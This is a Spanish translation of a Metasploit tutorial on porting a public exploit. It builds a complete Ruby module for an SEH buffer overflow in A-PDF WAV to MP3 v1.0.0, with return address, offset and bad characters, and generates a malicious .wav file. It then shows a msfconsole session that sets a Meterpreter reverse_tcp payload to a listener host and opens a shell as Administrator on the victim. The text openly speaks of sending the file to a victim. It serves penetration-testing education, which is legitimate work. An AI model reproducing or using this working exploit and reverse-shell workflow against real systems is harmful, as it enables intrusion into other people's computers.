Portando Exploits
De www.metasploit-es.com.ar
Aunque Metasploit es comercialmente propietario, sigue siendo un proyecto de codigo abierto que crece y prospera basandose en modulos contribuidos por sus usuarios. Ya que hay solamente un puñado de desarrolladores a tiempo completo en el equipo, hay una gran oportunidad de portar exploits existentes publicamente a Metasploit Framework. Portar exploits no ayudara solo a hacer Metasploit mas versatil y poderoso, tambien es una excelente forma de aprender sobre el funcionamiento interno del framework, y al mismo tiempo te ayuda a mejorar tus conocimientos de Ruby. Un punto muy importante a recordar al escribir modulos para Metasploit es que *siempre* debes usar tabulaciones y no espacios. Para otros detalles importantes de los modulos, echa un vistazo al archivo 'HACKING' localizado en la raiz del directorio Metasploit. Contiene informacion importante que te ayudara a estar seguro de que tus envios son añadidos rapidamente al trunk.
Para comenzar, obviamente primero necesitaremos seleccionar un exploit para portar. Utilizaremos el exploit 'A-PDF WAV to MP3 Converter' publicado en http://www.exploit-db.com/exploits/14681. Cuando portamos exploits, no es necesario comenzar a escribir codigo completamente desde cero; podemos simplemente seleccionar un modulo exploit pre-existente y modificarlo hasta que cumpla nuestros propositos. Como este es un exploit de formato de fichero, miraremos bajo /modules/exploits/windows/fileformat fuera del directorio principal de Metasploit para un candidato oportuno. Este exploit en particular es un SEH sobreescrito, asi que necesitaremos un modulo que utilice el mixin Msf::Exploit::Remote::Seh. Podemos encontrar esto cerca del exploit audiotran_pls.rb, como se muestra a continuacion.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
Habiendo encontrado una plantilla adecuada para utilizar en nuestro modulo, cortamos todo lo que hay especifico en el modulo existente y lo grabamos bajo ~/.msf3/modules/exploits/windows/fileformat/. Necesitaras crear los directorios adicionales bajo tu directorio home si lo estas siguiendo exactamente. Notese que es posible salvar el modulo personalizado bajo el directorio principal de Metasploit, pero puede causar incidencias al actualizar el framework si acabas enviando un modulo para que sea añadido al trunk. Nuestro exploit recortado tiene esta pinta:
## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Exploit Title', 'Description' => %q{ Exploit Description }, 'License' => MSF_LICENSE, 'Author' => [ 'Author' ], 'Version' => '$Revision: $', 'References' => [ [ 'URL', 'http://www.somesite.com ], ], 'Payload' => { 'Space' => 6000, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => } ], ], 'Privileged' => false, 'DisclosureDate' => 'Date', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'filename.ext']), ], self.class) end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end
Ahora que el esqueleto esta preparado, podemos comenzar a añadirle la informacion del exploit publico, asumiendo que ha sido probado y verificado que funciona. Comenzamos añadiendole el titulo, descripcion, autor, y referencias. Notese de que es comun como cortesia mencionar los autores del exploit publico original ya que su trabajo duro ha permitido encontrar el fallo primeramente.
def initialize(info = {})
super(update_info(info,
'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
the application is used to import a specially crafted m3u file, a buffer overflow occurs
allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'd4rk-h4ck3r', # Original Exploit
'Dr_IDE', # SEH Exploit
'dookie' # MSF Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/14681/' ],
],
Todo es auto-explicativo es este punto, y aparte de la estructura de modulo de Metasploit, no hay nada complicado. Continuando con el modulo, nos aseguraremos de que EXITFUNC esta definido como 'seh' y configuramos 'DisablePayloadHandler' a 'true' para eliminar cualquier conflicto con el manejador de payload que esta esperando la shell. Mientras estudiamos el exploit publico en un debugger, hemos determinado que hay aproximadamente 600 bytes de espacio disponible para el shellcode y que \x00 y \x0a son caracteres malos que corromperan nuestro shellcode. Encontrar caracteres malos es siempre tedioso, pero para asegurar la fiabilidad del exploit, es un mal necesario. Para mas informacion sobre encontrar caracteres malos, mira este enlace: http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars. En la seccion 'Targets', añadimos todas las direcciones de retorno importantes pop/pop/retn para el exploit, la longitud del buffer requerida para alcanzar el SE Handler, y un comentario declarando de donde viene la direccion. Como esta direccion de retorno procede del binario de la aplicacion, el objetivo es 'Windows Universal' en este caso. Finalmente, añadimos la fecha en que el exploit fue publicado y nos aseguramos de que 'DefaultTarget' esta definido como 0.
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe
],
'Privileged' => false,
'DisclosureDate' => 'Aug 17 2010',
'DefaultTarget' => 0))
La ultima parte que debemos editar antes de pasar al exploit es la seccion 'register_options'. En este caso, necesitamos decirle a Metasploit cual sera el nombre de archivo por defecto para el exploit. En los exploits basados en red, esto es donde declarariamos cosas como el puerto por defecto a utilizar.
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
], self.class)
La seccion final, y mas interesante para editar, es el bloque 'exploit' donde todas las piezas se juntan. Primero rand_text_alpha_upper(target['Offset']) creara nuestro buffer conduciendo al Manejador SE utilizando caracteres aleatorios, alfabeticos en mayusculas usando la longitud que hemos especificado en el bloque 'Targets' del modulo. Seguidamente, generate_seh_record(target.ret) añade el salto corto y la direccion de retorno que normalmente vemos en los exploits publicos. La siguiente parte, make_nops(12), es bastante auto-explicativa; Metasploit usara una variedad de instrucciones No-Op para ayudar con la evasion IDS/IPS/AV. Finalmente, payload.encoded añade el shellcode generado dinamicamente al exploit. Se imprimira un mensaje en pantalla y nuestro archivo malicioso se escribira en el disco para que podamos enviarselo a la victima:
def exploit
sploit = rand_text_alpha_upper(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << make_nops(12)
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
Ahora que tenemos todo editado, podemos llevar nuestro recien creado modulo al laboratorio de pruebas.
msf > search a-pdf [*] Searching loaded modules for pattern 'a-pdf'... Exploits ======== Name Rank Description ---- ---- ----------- windows/browser/adobe_flashplayer_newfunction normal Adobe Flash Player "newfunction" Invalid Pointer Use windows/fileformat/a-pdf_wav_to_mp3 normal A-PDF WAV to MP3 v1.0.0 Buffer Overflow windows/fileformat/adobe_flashplayer_newfunction normal Adobe Flash Player "newfunction" Invalid Pointer Use msf > use exploit/windows/fileformat/a-pdf_wav_to_mp3 msf exploit(a-pdf_wav_to_mp3) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.wav no The file name. OUTPUTPATH /opt/metasploit3/msf3/data/exploits yes The location of the file. Exploit target: Id Name -- ---- 0 Windows Universal msf exploit(a-pdf_wav_to_mp3) > set OUTPUTPATH /var/www OUTPUTPATH => /var/www msf exploit(a-pdf_wav_to_mp3) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(a-pdf_wav_to_mp3) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(a-pdf_wav_to_mp3) > exploit [*] Started reverse handler on 192.168.1.101:4444 [*] Creating 'msf.wav' file ... [*] Generated output file /var/www/msf.wav [*] Exploit completed, but no session was created. msf exploit(a-pdf_wav_to_mp3) >
Todo parece funcionar correctamente por ahora. Ahora solamente debemos configurar un meterpreter escuchando, y hacer que la victima abra nuestro archivo malicioso en la aplicacion vulnerable.
msf exploit(a-pdf_wav_to_mp3) > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.101:4444 [*] Starting the payload handler... [*] Sending stage (748544 bytes) to 192.168.1.160 [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.160:53983) at 2010-08-31 20:59:04 -0600 meterpreter > sysinfo Computer: XEN-XP-PATCHED OS : Windows XP (Build 2600, Service Pack 3). Arch : x86 Language: en_US meterpreter> getuid Server username: XEN-XP-PATCHED\Administrator meterpreter>
¡Exito! No todos los exploits son tan faciles de portar, pero el tiempo empleado merece la pena y ayuda a hacer que una excelente herramienta sea todavia mejor. Para mas informacion sobre portar exploits y contribuir a Metasploit en general, mira los siguientes enlaces:
- http://www.metasploit.com/redmine/projects/framework/repository/entry/HACKING
- http://www.metasploit.com/redmine/projects/framework/wiki/PortingExploits
- http://www.metasploit.com/redmine/projects/framework/wiki/ExploitModuleDev
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999